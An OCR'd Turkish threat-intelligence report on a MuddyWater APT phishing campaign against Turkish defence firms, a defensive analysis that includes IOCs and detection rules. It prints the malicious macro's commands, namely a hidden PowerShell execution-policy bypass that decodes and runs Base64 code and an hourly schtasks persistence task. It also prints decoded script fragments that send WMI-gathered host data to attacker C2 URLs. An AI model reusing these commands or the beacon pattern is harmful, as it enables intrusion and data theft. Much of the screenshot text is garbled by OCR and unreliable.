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Rapor Ozeti

MuddyWater APT Attack Life Cycle

Command and Control Server

94.23.148.194

Users clicks "URETIM VE SATIS
HAKKI LISANS SOZLESMESI.doc"

Malware Drop \
i
|
| B
1
1

+

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ .
StartUp\Win32ApiSyncTskSchdlr.bat \\
N,
A ‘\
v \\
! 5
\
' \
4 \
I’ :
/ \
/
’,'" rd C:\ProgramData\Win32ApiSync.bat C:\ProgramData\Win32ApiSyncLOG.log — Obfuscated Powershell Script
i
! !
/ / 1 s
/ ! \ !
Task Scheduler Persistence ! ‘\\ /
i Execute . P
.

{

E I ~~ -
i
]

“Powershell Execution”

~. ‘
/

c\windows\System32\schtasks.exe

e Infinitum IT Siber Tehdit istihbarat ekibinin analizleri sonucunda, MuddyWater APT
grubunun Tirkiye’de bulunan cesitli Savunma Sanayi kurumlarina siber saldirilar
gerceklestirdigi tespit edilmistir.

e Kullanilan Zararh Yazilimlarin hedef odakli olarak siber saldirganlar tarafindan
gelistirildigi ve oltalama tekniklerinin ¢ok sik olarak kullanildigi gbzlemlenmistir.

e MuddyWater APT grubunun, hedef sistemlerde kalicilik saglamak icin Windows Task
Scheduler 6zelligini kotlye kullandigi ve zararli yazilimi hedef sistemlerde calistirmak
icin VBA ofis makro kodu, Powershell, BAT gibi scripting dillerini tercih ettigi tespit
edilmistir.
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Siber Tehdit istihbarati

Elmas Model Analizi

Diamond Model

Threat Group

MuddyWater APT Group
Infrastructure Capabilities/TTPs

T1566.001: Spearphishing
Attachment

[ Command and Control Servers

| 94.23.148.194

T1204: User Execution
_

MuddyWater APT

T1059.001: PowerShell

T1547.001: Registry Run Keys /
Startup Folder

/]
T1027: Obfuscated Files or
Information
/]
T1053.005: Scheduled Task/Job:
Scheduled Task A

T1059.003 : Command and
Victim Scripting Interpreter: Windows
Command Shell

/]
- C* T1047 : Windows Management
Tarkiye Instrumentation y

T1071.001 : Application Layer
Protocol: Web Protocols

MuddyWater APT Grubu Tarafindan Siklikla Kullanilan Teknikler

Maldocs (Zararli makro iceren ofis dokiimanlari)

e Ligolo Reverse Tunnel

e Powershell Downloader (Zararh yazilimi uzak sunucudan indirmek igin kullanilir)

e Phishing
e LOLBINS
Rundli32.exe
o Schtasks.exe
o Certutil.exe
o Reg.exe
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Teknik Analiz

Zararh Yazilim iceren Ofis Dékiimani

MuddyWater APT grubu tarafindan, hedef sistemlerde zararli yazilim c¢alistirmak igin ilk
asamada saldirganlarin Maldoc olarak tabir edilen ve iginden zararlh makro kodu barindiran
Ofis dokiimanlarini kullandigi tespit edilmistir.

Burada temel hedef, kullanicilara ofis doékiimanini agtirdiktan sonra makro kodunu
calistirmalarini saglamaktir. Bu asamda oltalama yontemleri kullanihr.

URETIM VE SATI§ HAKKI LISANS SOZLESMESI2.doc [Uyumluluk Modu] - Word (Uriin Etkinlestirilemedi)

Ede  Tasanm  SayfaDuzeni  Basvurulr  Postalar  GézdenGegir  Goranam

i - - . v - A e T T = A -
0 el Ml & & E == v = = B T4 page 11 141 A 1111 1111 111
Yapigtir K T A - sk 2 ay . A - _ — — = = M. i Basghk 1 Bashk 2 Bashk 3 Bashk 4 Bashk 5 Basl
& X X f = = = = = 3
i ~ Bicim Boyacisi - “ — ¥ -
Pano 5] Yaz Tipi ® Paragraf 5] Stiller
I GUVENLIK UYARISI Makrolar devre disi birakildi. ceridi Etkinlestir

I WARNING: To adjust the encoding of this Microsoft Word™ document, click Enable Editing and Enable Content.

URETIM VE SATIS HAKKI LISANS SOZLESMESI

1 TARAFLAR

11 isbu Uretim ve Sats Hakki Lisa__ ¥ M/ NO0A0MO0ODD [O0Cns  Sozlesmesi  ve ek
o0 00...0_O 0 D60 Dede [0-30 J0...00 _J000 0A0 MMedodC0FD ofs 0 mI0¢-{l—0.0. 0 00 AR 02
_[1 OO Me£o00 045005, 0fL [0 #-s 00 J o0 o4 “TUBITAK  BILGEM®  olarak
anilacaktir) ile OOCO---. D00 D00 O Teknolojileri A.$. (CCOD---. 000 00007 olarak anilacaktir)
arasinda imzalanmistir.

1.2 “TUBITAK BILGEM” ve KOG SAVUNMA" bu Sozlesme'de
=00 =00 Drsss 0 000 Do s ofs 0 =004 J0O 0000

1.3 lIsbu Sozlesme
0000 O M- O O M7 000D 0 0040 0040 0 AL D0 Dl 0 600 03000 (OO0 0F - 0 -0
000 >0 040 0000 D000 43, D30060 o >0 Ds-Oa-s 000 DA 30 [0, 0 70 olup.
Taraflarin bu adreslere yapacaklan tebligatiar kanuni adrese I—04—0.040 of— 0 [OCCC_DAO[[Okuryesi veys
taahhatla posta veya elden teslim 060 060 o= -0 D00 D0 Dulagtig guna takip
T060.00 of—0 DOOOD_ DA Titibaniyle gegerli olacaktir.

TUBITAK BILGEM:
Adres: TUBITAK Gebze Yerleskesi

Baris Mahallesi, Dr. Zeki Acar Caddesi, No:1, P.K. 74, 41470 Gebze, KOGAELI
Tel No: (0262) 648 10 00

KOG SAVUNMA

Adres.  ODTU Teknokent Yaziim Teknoparki, Universiteler Mahallesi
Ihsan Dogramaci Bulvan, No: 17/B, 06800 ODTU, Ankara

Tel No: (0312) 218 89 00

Hedef kullanicilara gonderilen Ofis dokiimani incelendiginde, farkli APT gruplarinin da siklikla
kullandig bir oltalama yontemi gézlemlenmistir.

Bu teknige gore saldirganlar, kullaniciya ofis dokiimaninin bozuldugu hissini yaratmak icin
dokliimanla oynamistir. Dokiimanda bulunan Warning mesajina gbre, sézde bu hatayi
diizeltmek icin Makro kodununun aktif edilmesi kullanicidan istenmistir.
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Verilerin Korunmasi Kanunu'nda 6ngoérilen madde ve hikiimlere tabi olacaktir. INFINITUM IT'nin bu bilgileri, icerigin eksiksizligi veya dogrulugu konusunda yasal
olarak gegerli herhangi bir garanti vermeksizin, bulgularina gére "oldugu gibi" sagladigi belirtiimelidir. Bu nedenle ne bu rapor ne de igerigi yasal merciler 6ntinde
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Zararh Makro Kodunun Analizi

Zararl yazihm barindiran ofis dokiimani incelendiginde Makro kodu igerdigi fakat bu kodun
analiz edilmesini zorlastirmak icin sifrelenmeye calisildigi tespit edilmistir.

1 WARNING: To adjust the encoding of this Microsoft Word™ document, click Enable Editing and Enable Content.

URETIM SilentAssassin Password MESI
1 TARAFLAR Password
11 Isbu  Uretim wve Sats Ha | | | Cancel |0 O00ns  Sozlesmesi  ve ek
oft000...0_ 00 080 Defe T30 B0 DA D0 0.0 00 AR08
0 O o £oM0 0_4-0.0.F-00¢0--0_ [0 0. Ou—»0.0.F— 0000 T 000 004 “TUBITAK  BILGEM™  olarak
anilacaktir) ile OO0 OO =0 000 M Teknelojileri AL$. (CCO0--- O_—=0 0 00 " olarak anilacaktir)

arasinda imzalanmstir.

Infinitum IT Siber Tehdit istihbarat ekipleri bu sifreyi kirarak makro kodunun analizini
gercgeklestirmistir.

Project - SilentAssassin x|

=] 5 Normal
-3 Microsoft Word Objects
+ ] ThisDocument
o8 SilentAssassin (URETIM VE SATIS HAKKI LISANS SOZLESMES]
=123 Microsoft Word Objects [ =
* 8] ThisDocument ~
- Forms URETIM VE SATIS HAKKI LISANS SOZLESMESI - Form1 (UserForm)
£ Form1
i+ Form2 Form1
H Form3
= Form4
55 Modules
L8 Main
=3 References
i & Reference to Normal

" N start /MIN powershell -exec bypass -w 1 -Command "$ec=get-content -Path 'C:\ProgramData\Win32ApiSynclog.txt’;$dc
Properties - Form1 x|

Form1 UserForm ]

VBA kodu Forum alanlarini okuyarak hedef sistemde ¢alistirir.

e start /MIN powershell -exec bypass -w 1 -Command "Sec=get-content -Path
'C:\ProgramData\Win32ApiSyncLog.txt';Sdc=[System.Text.Encoding]::Unicode.GetString([Sys
tem.Convert]::FromBase64String(Sec));Invoke-Expression $dc"
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GRETIM VE SATIS HAKKI LISANS SOZLESMES! - Form2 (UserForm)

sks /Create /F /SC HOURLY /MO 1 /TN Win32ApiSyncTask /TR "C:\ProgramData\Win32ApiSync.bat"|

Hedef sistem Uzerinde kalicilik saglama 6zelligi

e start /MIN schtasks /Create /F /SC HOURLY /MO 1 /TN Win32ApiSyncTask /TR
"C:\ProgramData\Win32ApiSync.bat"

URETIM VE SATIS HAKKI LISANS SOZLESMESI - Formd (UserForm)

Formd

\Win32ApiSyncTskSchdlr.bat

. C:\ProgramData\Win32ApiSynclog.txt

C:\ProgramData\Win32ApiSync.bat

Makro kodu calistiktan sonra diske yazilan Zararh Yazilim parcalari.

Makro kodunda gorildigu gibi, Win32ApiSyncLog.txt dosyasi icine Base64 ile encode edilmis
Powershell kodu yerlestirilir.

epla = Forml.TextBox1.Value

schdlr = Form2.TextBox1.Value

VbMethod, Formd.Text

t

ect
TextFile", VbMethod, Form4.TextBo:

Object
TextFile", VbMethod,

d Sub

Zararh VBA Makro kodu.
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Hedef Sistemde Kalicilik Saglanmasi

Hedef sistemde kalicilik saglanmasi igin, kullanicinin ofis dokiimanini etkinlestirmesi
gerekmektedir. Boylece Makro kodu c¢alisir ve disk Uzerine yazilan BAT dosyalari Task
Scheduler aracihgiyla kalicilik saglar. Diske yazilan BAT dosyasi Startup altinda oldugu igin bu
zararh kodunun ¢alismasi igin cihazin yeniden baslatilmasi gerekmektedir.

"ITE — B I

File Home Share View Application Tools

4 B Micosoft » Windows > Start Menu  Programs > Startup

Name

2ApiSyncTskSchdlr.bat

g’ Ch\Users\RE\AppData\Roaming\Microsoft\Windows\Start Menu'\Programs\Startup\Win32ApiSyncTskSchdir.bat - Notepad++
File Edit Search VWiew Encoding Language Settings Tools Macra Run  Plugins Window 7
o B oc@l | |ﬁbﬁ‘"§ flk".i-‘.‘f_*' E?LJ-«j-—'"@ ]
[ Win32ApiSync Tsk Schdirbat E3 ]E Win32ApiSync bat 1
1 start /MIN schtasks /Create /F /SC HOURLY /MO 1 /TN Win322&piSyncTask /TR "C:\ProgramData\Win32Z&piSync.bat"

Task Scheduler yaratma islemi igin bir LOLBIN olan schtasks kullandigi gozlemlenmistir. Task
her saat basi sistemde calisir. Gergeklestirilen analizlere gére, bu taskin amaci ProgramData
altindaki BAT dosyasi yardimi ile Win32ApiSyncLog.txt dosyasi icindeki Obfuscate edilerek
gizlenen Powershell kodunu galistirmaktir.

B
File Edit Search View Encoding language Scitings Tools Macro Run Plugins Window ?
PYE) s @ (o] [t % |EES1ETENBEz =@ Bl

B Vin32ApiSyncTakSchdbat €3 H Win328pisync bat .3}

start /MIN powershell -exec bypass -w 1 -Command "Sec=get-content -Path
'C:\ProgramData\Win32ApiSynclog. txt';Sdc=[System.Text.Encoding]::Unicode.GetString([System.Convert] : :FromBase645tring (Sec)); Invoke-Expression Sdc"

B ER

File Home

4 B > ThisPC > Local Disk(C) > ProgramData

Date modified

General Statistics  Performance Threads Token Modules Memory Environment Handles .NET assemblies .NET performance GPU Disk and Network  Comment
File
E Windows PowerShell
{Verified) Microseft Windows
Version: 10.0.19041.546

Image fii name:

[ c:\Windows\System32\WindowsPowershell\v 1.0\ponershel exe |28
Process
Command line: | powershell -exec bypass -w 1 -Command "$ec=get-content -Path 'c:\Dmgramoata\\nnn32Ap\5ym1ng.b(f;;dz=[5ysnemrext£nmdmg]::Unmude.Gacsmng([s\(stem.c:mvert]::F| L

Current directory: | C:\Windows\system32\ - |
B Information et

Started: 55 seconc ago (5:4143 A |

PEB address: Oxce78eB4000 : E Image type: 64-bit

Parent: Mon-existent process (1374 | |

Mitigation policies: | DEP (permanent); ASLR (hig| | | petais

Protection: None

Permissions Terminate
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Zararh Powershell Kodunun Decode Edilmesi

MuddyWater APT grubu bu operasyonunda, Powershell kodlarini Base64 ile 2 defa encode
etmistir. Ayrica, Anti Virls yazilimlarini atlatmak igin Compress teknikleri kullanmistir.
Infinitum IT Siber Tehdit istihbarat ekipleri basarili bir sekilde Powershell kodunu Decode
etmistir.

Birden fazla asamada kendini Encode etmis olan Powershell zararlisinin en son hali asagidaki
gorseldeki gibidir:

seT-ITEM('vaRiAbLe:Bcveo')([TYPe]'sYstem.BitcONVerter') 0}=[TyPE]'convERt ' ;sV('C40pb')
([Type] 'SYSTEM.TEXt.eNcODing');${KuiRt}=[tYPe]'SysTEm.ConVeRT' ;SET-

ITEm'VARiADLE:BQc8' ([tYpe]' SysTEm.nET.WeBPRoxy');SEt-TTeM("vAr"+'TAbLE:u'+"Rh1")

([t¥pe] 'SystEm.neT.cReDentTALCACHE');set-iTEM('vaRiAb'+"LE:JuP")
([tyPe]'StriNg');Sv'0TC2b"([TyPe]' ENVIronMENt');try{

objeCT'System.Net.WebClient '}catch{${_}.ExCePTIon|oUT-FilE(('C: 10}p10

Append; (get-

ITEm( 'variABl'+"e:0Tc2B")).vALUE :: "Exit'.iNvOKE(1)}try{${ A UECOLLECTI(

obJECt'System.Collections.Specialized.NameValueCollection'}catch{${ }.ExCePTION|oUT-

='http://9 .148.194/serverScript/clientFrontLine
3.148.194/serverScript/clientFrontline/getCommand.php$
g ] ‘http 4.23. 148 qu’aerv~r5=r1pt clientFrontLine/setCommandResult.php'${G
:="functlonBAsIc1nfoCDLLECToR{ ry{${ (gEt-wmioBJecT-
Class'Win32_OperatingSystem' ).CsNaME C } .EXcepTion|ouT-FiLE(('C:{@}programdataf{@}error.txt')-
f[cHar]92)-Append; $1 AmE}="HS" }try{${ =(GeT-WmIOBJECT-
Decode edilen Powershell kodu.

Decode edilen Powershell Zararlisi analiz edildiginde, saldirganin kendisine ait komuta kontrol
sunucusuna, hedef cihazdan aldig1 asagidaki verileri gonderdigi tespit edilmistir. Bu verilerin
hedef sistemden alinmasi icin Windows Management Instrumentation (WMI) kullaniimistir.

start: 2
5
2

|n ut end:
P length:

16 .
- length: 216 i
1; lines: 1 + D B . =

MDITNUQEtMBQTODMEMDCEMTQENUYEMZQENBMEQTUENTQERIMEREULQkQEQTctQTUgNDAZMZQuMzMgc 2y dEFNbnQxLJEQTW1 jemdzb2ZBI FdpbmRvd3MgMTAgUH]
vKjY8LWIpdCpERVNLVESQLTVDM] 1LSDUqVesS5edST1VQKKRFUBLUTIAENUMYOULINVXSRSoxN jkuMjUBLJELOS4xN]==

start: 162 time: 1ms B |_ n ra
Qutput end: 162 length: 168
P length: @ lines: 1 D s -

82-5D-3D-83-87-14-5F-34-7C-A5-54-FC-DE-BD-A7-A5*48334833*scrtAgntl. 1*Microsoft Windows 1@ Pro*64-bit*DESKTOP-
SC29KHS*WORKGROUP*DESKTOP-5C29KHE\RE*169, 254,159, 15
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Komuta Kontrol Sistemi ile ilk Baglant

Komuta kontrol sunucusuna gonderilen bu veriler saldirgana Base64 ile encode edilmis bir
sekilde gonderilir. Bu asamadan sonra saldirgan sunucuya disen cihazlar arasindan bir hedef
secer ve Post Exploitation asamasinda saldiri ile devam eder.

P Result  Protocol Host LRL Body | Getstarted () Statstis [k Inspectors % autoResponder [ Composer [ Fidder OrchestraBeta 4 Fiddersaipt [E] Log
As s WP 94.23,148.194 = DINUQIMOQIODMIMDCEHTQINUTEMZQHN. . s12 | Headers | TextView | Syntaxview |[WebForms | Hexview | Auth | Cookes | Raw | JsoN | M
A7 s2 H 5425145, 154 cerverSerptfcentfrontlneeloServer, o heloMeg MO QMOQI DM TGO 512 i
As  s2 HT 94.23,148.194 fserverScript/clentFronttinejheloServer. phpheloMsg=MDItNUQMOQIODMIMDCIMTQINU! 522 [hame
Au s2 H 94.23,146.194 fserverScript/clentFronttinejheloServer. phpheloMsg=MDItNUQMOQIODMIMDCIMTQINU 512 Q00 DD DG Q100 OM QT QRN REUIKQIOT TGN DAt
A s HTR 94,23.146,194  fserverScript/cientFrontlinejheloServer, php?heloMsg=MDTNUQIMOQIODMIMDCHTQNUY iz 512 ﬂ““EF”"”Q XLEQTWHjemOzb 2Z01F dpbmRvd 34 HOVK]YOLW IpdCpERVNLVESQLTVDMjL
A s HP 94.23,148.194 fserverScipt/clentFrontiinejheloServer.phpheloMsg=MDItHUQHMOQ{ODMIMDC IMTQINUY i 512 U SIS QAR A Uy U B
A s HP 94.23,146.194 fserverScipt rver. php?heloMsg=MDIHNUQIMOQODMIMDCIMTQINU 512
A s HTTP 94.23,146.194 fserv rver. php?heloMsg=MDIHNUQIMOQIODMIMDC IMTQINUY M 512
Aw  s2 HTP 94.23.145.194 fserverScript/clientFrontiinejheloServer. phpheliMsg=MDTENUQHMDQIODMIMBCMTQINUYEMAQHN. . 512
Av  s2 H $4.73188.19¢ fserverSatfdentFontine eloServer. g helolsg=OTHLG QIO QUL . 512
A sz wTP 94.23.148.194 /s g =MDTtHUQEMOQIODMIMDEHMTQENUYEMZQHN. .. 512 f Content-Typeis ";this Inspectorsupports Y-www-form-urlencoded' only.
Az s w 94.23,19.194 =MDIHUQIMDQODMIMDMTQINUYEMZH. . 512 | Mame Vaiue
A2 2w 94.23.145.194 | 0 =MDItNUQEMOQIODMEVDEMTQENUYEMZQHN. .. 512
A 2w 94.23,145.194 fserver g=MDItHUQIMOQHODMIMDCEMTQENUYEM2QH. .. 512
Transformer | Headers | TextView | SynaxView | ImageView | HexView | WebView || Auth | Caching | Cookies | Raw
No Proxy-Authenticate Header is present.
NO WWW-Authenticate Header is present.

MuddyWater Tarafindan Gergeklestirilen Hedef Odakli Benzer Siber
Saldirilar

MuddWater APT grubu hedefledikleri tilkelere gore farkh diizeylerde siber saldirilar yapan bir
tehdit aktori grubudur. Asagida gorilen VBS kodunda daha oOnceki saldirilarda (lke
kisaltmalari  kullanilarak ¢esitli hedeflerin komuta kontrol bazinda filtrelendigi
gozlemlenmisgtir.

n GHSFL & : GHSFL
n AZJTFE 2 : AZITFE

n EZJKH 9 : EZIKH 9
n DNWHJ 9 : DNWHJI 9
n LTLULU 6

Remote Access Trojan iceren VBS Kodu.

Wireshark - Follow HTTP Stream

POST /getTargetInfo?guid=BH-lucas-pc-lucas&status=1 HTTP/1.1
Accept: */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; ms-office; MSOffice 16)
Content-Type: application/json

UA-CPU: AMDG4

Accept-Encoding: gzip, deflate

Host: 192.227.147.152

Content-Length: 20

Connection: Keep-Alive

Cache-Control: no-cache

{"commandResult" :""}HTTP/1.1 200 OK
Connection: Close

Komuta kontrol sunucusu ile iletisim.
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olarak gegerli herhangi bir garanti vermeksizin, bulgularina gére "oldugu gibi" sagladigi belirtiimelidir. Bu nedenle ne bu rapor ne de igerigi yasal merciler 6ntinde
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Yara Rules

® https://github.com/Neo23x0/signature-base/blob/master/yara/general officemacros.yar

® https://github.com/Neo23x0/signature-base/blob/master/yara/gen powershell obfuscation.yar

®  https://github.com/Yara-Rules/rules/blob/master/malware/GEN PowerShell.yar

®  https://github.com/Neo23x0/signature-base/blob/master/yara/gen recon indicators.yar

Sigma Rules

®  https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process creation/proc_creation wi
n_susp_schtasks pattern.yml

®  https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file event/file event win susp star
tup folder persistence.yml

®  https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process creation/proc_creation wi
n_office shell.yml

MITRE ATT&CK - Teknik ve Taktikler

TTPID | Teknik

T1566.001 | Spearphishing Attachment

T1204 User Execution

T1059.001 [ Command and Scripting Interpreter: PowerShell

T1547.001 | Registry Run Keys / Startup Folder

T1027 Obfuscated Files or Information

T1053.005 | Scheduled Task/Job: Scheduled Task

T1059.003 [ Command and Scripting Interpreter: Windows Command Shell

T1047 Windows Management Instrumentation

T1071 Application Layer Protocol
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https://github.com/Neo23x0/signature-base/blob/master/yara/general_officemacros.yar
https://github.com/Neo23x0/signature-base/blob/master/yara/gen_powershell_obfuscation.yar
https://github.com/Yara-Rules/rules/blob/master/malware/GEN_PowerShell.yar
https://github.com/Neo23x0/signature-base/blob/master/yara/gen_recon_indicators.yar
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file_event/file_event_win_susp_startup_folder_persistence.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file_event/file_event_win_susp_startup_folder_persistence.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_office_shell.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_office_shell.yml
https://attack.mitre.org/techniques/T1566/001/
https://attack.mitre.org/techniques/T1204/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1547/001/
https://attack.mitre.org/techniques/T1027/
https://attack.mitre.org/techniques/T1053/005/
https://attack.mitre.org/techniques/T1059/005/
https://attack.mitre.org/techniques/T1047/
https://attack.mitre.org/techniques/T1071/
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Indicator of Compromise (I0C)

Raporda analizi yapilan Zararl Yazilima ek olarak MuddyWater APT grubuna ait olan ve Infinitum IT
Siber Tehdit istihbarat ekiplerinin takip ettigi IOC verileri paylagilmistir.

IP / URL

106.187.38.21

138.201.75.227

144.76.109.88

148.251.204.131

arbiogaz.com

azmwn.suliparwarda.com

bangortalk.org.uk

best2.thebestconference.org

camco.com.pk

cbpexbrasilia.com.br

cgss.com.pk

coa.inducks.org

diplomat.com.sa

feribschat.eu

ghanaconsulate.com.pk

http://136.243.87.112

http://136.243.87.112:3000/KLs6yUG5Df
http://136.243.87.112:3000/Y3zP6ns7kG
http://136.243.87.112:3000/115JH6f4Bh

http://38.132.99.167

http://38.132.99.167/crf.txt

http://82.102.8.101

http://82.102.8.101/bcerrxy.php?
http://82.102.8.101/bcerrxy.php?riHI=RkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRKkYtRKkYtRKkYtRkYtRkYtRkYtRKYgMTk5NypFUDEqODOUTW
licm9zb2Z0IFdpbmRvd3MgNyBQcm9ImZXNzaW9uYWwaMzItYmIOKIVTRVItUEMqV095S0dST1VQODOUKIVTRVItUENCYWRtaW4gMTkyLj
E20C4wMDAuUMDE=

http://94.23.148.194
http://94.23.148.194/serverScript/clientFrontLine/
http://94.23.148.194/serverScript/clientFrontLine/getCommand.php
http://94.23.148.194/serverScript/clientFrontLine/helloServer.php
https://raw.githubusercontent.com/FOR3X/BrowserFontArabic/master/ArabicBrowserFont.exe
https://raw.githubusercontent.com/FOR3X/BrowserFontArabic/master/FontArabic.exe
https://raw.githubusercontent.com/ReactDeveloper2017/react/master/src/test/test.js
magical-energy.com

mainandstrand.com

mhtevents.com

riyadhfoods.com

school.suliparwarda.com

skepticalscience.com

suliparwarda.com

tmclub.eu

wallpapercase.com

watyanagr.nfe.go.th

whiver.in

www.4seasonrentacar.com

www.akhtaredanesh.com

www.arcadecreative.com

www.armaholic.com

WWW.asan-max.com

www.autotrans.hr

www.dafc.co.uk

WwWWw.eapa.org

www.elev8tor.com

www.jdarchs.com

www.kunkrooann.com

www.mackellarscreenworks.com

www.mitegen.com

www.nigelwhitfield.com

Www.pomegranates.org

www.ridefox.com
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www.shapingtomorrowsworld.org
www.spearhead-training.com
www.vanessajackson.co.uk
Www.yaran.co

www.ztm.waw.pl

SHA 256 - Hash

898c8f7d566282784bedf680261c5cd6b735fa35ae840550bc64e6e9e72b02f0
dba90bd5fdf0321a28f21fcchb3a77eeled5d73e863e4520ce8eb8fca670189¢3
0b4d660335b55d96ddf4c76664341ed52519639161a0a0alaalae82951feball
062a8728e7fcf2ff453efc56da60631c738d9cd6853d8701818f18a4e77f8717
0d3e0c26f7f53dff444a37758b414720286f92da55e33cale69edc3c7f040ce2
0f3cabc7f1e69d4a09856cc0135f7945850c1lebbaeecd010f788b3b8b4d91cad
1195e7abfadaca7d7774c97e60f76176aeb2bc50b12119840f69547bb5fde 374
12a7898fe5¢75e0b57519f1e7019b5d09f5¢c5cbe49c48ab91daf6fcc09ee8a30
1421a5cd0566f4a69e7ca9cdefa380507144d7ed59cd22e53bfd25263c201a6f
16985600c959f6267476da614243a585b1b222213ec938351ef6a26560c992db
189dd926a69a2bc8e48ad964ef7d930c38add83816d86bd8a5e654c708675110
1b60b7f9b0faf25288f1057b154413921a6cb373dcee43e831b9263c5b3077ce
2602e817a67949860733b3548b37792616d52ffd305405ccab0409bcfedc5d63
2bb1637c80f0a7df7260a8583beb033f4afbdd5c321ff5642bc8e1868194e009
2c8d18f03b6624fa38cae0141b91932ba9dc1221ec5cf7f841a2f7e31685e6al
367021beedb3ad415c69c9a0e657dc3ed82blb24a41a71537d889f5e2b7cad33
40a6b4c6746e37d0c5ecb801e7656c9941f4839f94d8f4cdbleaf2b812feaabe
42a4d9527063f73004b049a093a34a4fc3b6ea9505ch9b50b895486¢ch2dcadsb
49cc48ebdaf31c8eacca701a57ff45f6553dedcd8cab6067e769909ce0d890659
4dd641df0f47¢cb7655032113343d53c0e7180d42e3549d08eb7ch83296b22f60
4e3c7defd6f3061b0303e687a4b5b3cc2ad4ae84cdca8706c65a7ble53402efcO
576d1d98d8669df624219d28abcbb2be0080272fa57bf7a637e2a9a669e37acf
58282917a024ac252966650361ac4dcbbbed48a0df7cab7b9a6329d4a04551c0d
58898648a68f0639c06bedc8242cad8bcbec56f11ed40d00aa5fddade5553482
588cd0fe3ae6fbd2fadcf8de8db8ae2069eab2c9eaab854caedf45045780661f
58aec38e98aba66f9f01ca53442d160a2da7b137efbc940672982a4d8415a186
5d049bd7f478ea5d978b3c78f7f0afdf294a94f526fc20ffd6e33022d40d15ae
Sed5fc6c6918ff6fadeab7742c03d59155ca87e0fel2bac339f18928e2924a96
605fefc7829cfad41710e0b844084eab1f180fe513adc1d8f0f82501a154db0f4
6f882cc0cddd03bc123c8544c4b1c8b9267f4143936964a128aa63762e582aad
81523e0199ae1dc9e87d2b952642785bfbda6326f22e4c0794a19afdf001a9a3
886e3a2f74bf8f46b23c78a6bad80c74fe33579f6fe866bc5075b034c4d5d432
8b96804d861ea690fch61224ec27b84476cf3117222ccal5e6eba955d9395deb
8ec108b8f66567a8d84975728b2d5e6a2786c2ca368310cca55acad02bb00fab
90b66b3fef77962fbfda364a4f8799bfcc9ab73772026d7a8922a7cf5556a024
917a6c816684f22934€2998f43633179e14dcc2e609c6931dd2fc36098c48028
96101de2386e35bc5e38d32524a02c6c5¢ca7cc6624e656a629b2e0f1693a76fd
964aaf5d9b1c749df0a2df1f1b4193e5a643893f251e2d74b47663f895da9b13
96d80ae577e9b899772a940b4941da39cf7399b5c852048f0d06926eb6c9868a
97f9a83bcbbb1b3f5cb7ac9401f95265597bff796bb4901631d6fa2c79a48bdc
99077dcb37395603db0f99823a190f50313dc4e9819462c7da29c4bc983f42fd
9d998502¢3999c4715c880882efad09c39dd6f7e4d8725¢2763a30fbb55414b7
A3bb6b3872dd7f0812231a480881d4d818d2dea7d2c8baed858b20ch318da981
B2600ac9b83e5bb5f3d128dbb337ablefcdc6ce404adb6678b062e95dbf10c93
Bef9051bb6e85d94cacfc4e03359b31584be027e87758483e3b1e65d389483e6
a2ad6bfc47c4f69a2170cc1a9fd620a68blebba74b7bdf601066e780e592222f
a3c1fd46177a078c4b95c744a24103df7d0a58ceela3be92bcacdd7declblaas
a6673c6d52dd5361afd96f8143b88810812daad7004f69661da625aaabad363b
bbla5fb87d34c63adeOed8a8b95412ba3795fd648a97836ch5117aff8ea08423
c23ece07fc5432ca200f3de3e4c4b68430c6a22199d7fab11916a8c404fb63dc
cb96cd26f36a3blaacabfc79bbb5c1e0c9850b1c75c30aa498ad2d4131b02b98
cf87a2ac51503d645e827913dd69f3d80b66a58195e5a0044af23eabbadbb823
d2a0eec18d755d456a34865ff2ffc14e3969ea77f7235ef5dfc3928972d7960f
d65e2086aeab56a36896a56589e47773e9252747338c6b59c458155287363f28
db7bdd6c3ff7a27bd4aa9acc17dc35¢38b527fb736a17d0927a0b3d7e94acb42
de6ce9b75f4523a5b235f90fa00027be5920c97a972ad6cb2311953446c81eld
€8a832b04dbdc413b71076754c3a0bf07cb7b9b61927248c482ddca32e1dab89
ed2f9c9d5554d5248a7ad9ad1017af5f1bbadbd2275689a8b019a04c516eeec2
fcfbdffbcad731e0a5aad349215c87ed919865d66c287a6723fd8e2f896c5834
fe16543109f640ddbf3725e4d9f593de9f13ee9ae96c5e41e9cdccb7ab35b661
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